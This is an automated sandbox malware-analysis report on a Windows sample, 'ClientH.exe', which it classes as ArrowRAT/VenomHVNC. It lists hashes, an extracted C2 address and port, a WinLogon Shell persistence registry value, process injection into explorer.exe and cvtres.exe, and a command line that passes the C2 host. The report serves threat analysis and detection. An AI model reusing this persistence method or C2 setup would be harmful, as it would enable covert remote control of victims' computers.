Analysis
-
max time kernel
131s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
29-07-2023 00:03
Behavioral task
behavioral1
Sample
ClientH.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
ClientH.exe
Resource
win10v2004-20230703-en
General
-
Target
ClientH.exe
-
Size
90KB
-
MD5
5558467d200c00a5acab51d4a9ca98dd
-
SHA1
f9d50c3556451b056deb0950b6bdd4c3ecbb570f
-
SHA256
213452a323be1617cfa62abeae43d873bec1e5c740aa2177e157a9772a92f231
-
SHA512
80167cbf7301726ef6a1fd8f2c91db4076f5f5c869338953b1dacc88bf7f82e7caadabbbf32ecda3327c1be4c9da2477a198123a9ac1acf114f03c64bada3921
-
SSDEEP
1536:ebRiQMhQ57SK3bUzZdQ1iIMvnZlbLxjV3AGq5gWlocT1wzySsd9NJ33p:ebRF57SKsstcnZTJQDgWPaySsdH5Z
Malware Config
Extracted
arrowrat
VenomHVNC
185.183.35.122:4448
GHAEYKXuf.exe
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
ClientH.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-4159544280-4273523227-683900707-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\PRtaDfZk\\PRtaDfZk" ClientH.exe -
Modifies Installed Components in the registry 2 TTPs 1 IoCs
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4159544280-4273523227-683900707-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
ClientH.exedescription pid process target process PID 2316 set thread context of 2404 2316 ClientH.exe cvtres.exe -
Modifies registry class 5 IoCs
Processes:
explorer.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-4159544280-4273523227-683900707-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4159544280-4273523227-683900707-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-4159544280-4273523227-683900707-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-4159544280-4273523227-683900707-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-4159544280-4273523227-683900707-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
ClientH.exepid process 2316 ClientH.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
ClientH.exeexplorer.exedescription pid process Token: SeDebugPrivilege 2316 ClientH.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe Token: SeShutdownPrivilege 2516 explorer.exe -
Suspicious use of FindShellTrayWindow 29 IoCs
Processes:
explorer.exepid process 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe -
Suspicious use of SendNotifyMessage 19 IoCs
Processes:
explorer.exepid process 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe 2516 explorer.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
ClientH.exeexplorer.exedescription pid process target process PID 2316 wrote to memory of 2516 2316 ClientH.exe explorer.exe PID 2316 wrote to memory of 2516 2316 ClientH.exe explorer.exe PID 2316 wrote to memory of 2516 2316 ClientH.exe explorer.exe PID 2316 wrote to memory of 2516 2316 ClientH.exe explorer.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2316 wrote to memory of 2404 2316 ClientH.exe cvtres.exe PID 2516 wrote to memory of 2848 2516 explorer.exe ctfmon.exe PID 2516 wrote to memory of 2848 2516 explorer.exe ctfmon.exe PID 2516 wrote to memory of 2848 2516 explorer.exe ctfmon.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ClientH.exe"C:\Users\Admin\AppData\Local\Temp\ClientH.exe"1⤵
- Modifies WinLogon for persistence
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\system32\ctfmon.exectfmon.exe3⤵PID:2848
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC 185.183.35.122 4448 GHAEYKXuf.exe2⤵PID:2404
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2316-54-0x0000000000A60000-0x0000000000A7C000-memory.dmpFilesize
112KB
-
memory/2316-55-0x0000000074070000-0x000000007475E000-memory.dmpFilesize
6.9MB
-
memory/2316-66-0x0000000074070000-0x000000007475E000-memory.dmpFilesize
6.9MB
-
memory/2404-60-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmpFilesize
4KB
-
memory/2404-58-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2404-59-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2404-57-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2404-62-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2404-56-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2404-65-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2516-68-0x0000000003F60000-0x0000000003F61000-memory.dmpFilesize
4KB
-
memory/2516-69-0x0000000003F60000-0x0000000003F61000-memory.dmpFilesize
4KB
-
memory/2516-73-0x0000000002730000-0x0000000002740000-memory.dmpFilesize
64KB